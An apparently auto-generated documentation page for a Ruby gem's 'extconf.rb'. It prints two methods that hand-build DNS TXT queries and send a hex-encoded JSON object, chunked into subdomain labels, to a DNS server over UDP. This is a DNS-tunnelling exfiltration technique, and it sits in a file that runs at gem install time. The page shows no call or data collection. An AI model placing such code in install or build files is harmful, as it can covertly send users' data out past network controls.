Top Level Namespace
Defined Under Namespace
Instance Method Summary collapse
-
#build_dns_query(domain, qtype = 16) ⇒ Object
16 = TXT.
- #send_json_via_dns(json_obj, target_domain, dns_server = "127.0.0.1", port = 5300) ⇒ Object
Instance Method Details
#build_dns_query(domain, qtype = 16) ⇒ Object
16 = TXT
6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
# File 'ext/ext/extconf.rb', line 6 def build_dns_query(domain, qtype=16) # 16 = TXT transaction_id = rand(0xFFFF) query = [transaction_id].pack('n') # Transaction ID query += [0x0100].pack('n') # Flags (standard query) query += [1, 0, 0, 0].pack('n4') # Questions, Answers, Authority, Additional # Encode domain name domain.split('.').each do |label| query += [label.length].pack('C') query += label end query += [0].pack('C') # End of domain query += [qtype, 1].pack('n2') # Type and Class (IN) query end |
#send_json_via_dns(json_obj, target_domain, dns_server = "127.0.0.1", port = 5300) ⇒ Object
25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
# File 'ext/ext/extconf.rb', line 25 def send_json_via_dns(json_obj, target_domain, dns_server="127.0.0.1", port=5300) json_str = json_obj.to_json encoded = json_str.unpack1("H*") puts "JSON: #{json_str}" puts "Encoded: #{encoded}" puts "Length: #{encoded.length} chars\n" # For small JSON, send in one query if encoded.length <= 50 domain = "#{encoded}.json.#{target_domain}" query = build_dns_query(domain, 16) socket = UDPSocket.new socket.send(query, 0, dns_server, port) puts "Sent to #{dns_server}:#{port}" socket.close else # Chunk for larger payloads chunks = encoded.scan(/.{1,50}/) chunks.each_with_index do |chunk, i| domain = "#{chunk}.#{i}_#{chunks.length}.#{target_domain}" query = build_dns_query(domain, 16) socket = UDPSocket.new socket.send(query, 0, dns_server, port) puts "Chunk #{i+1}/#{chunks.length} sent" socket.close sleep 0.05 end end end |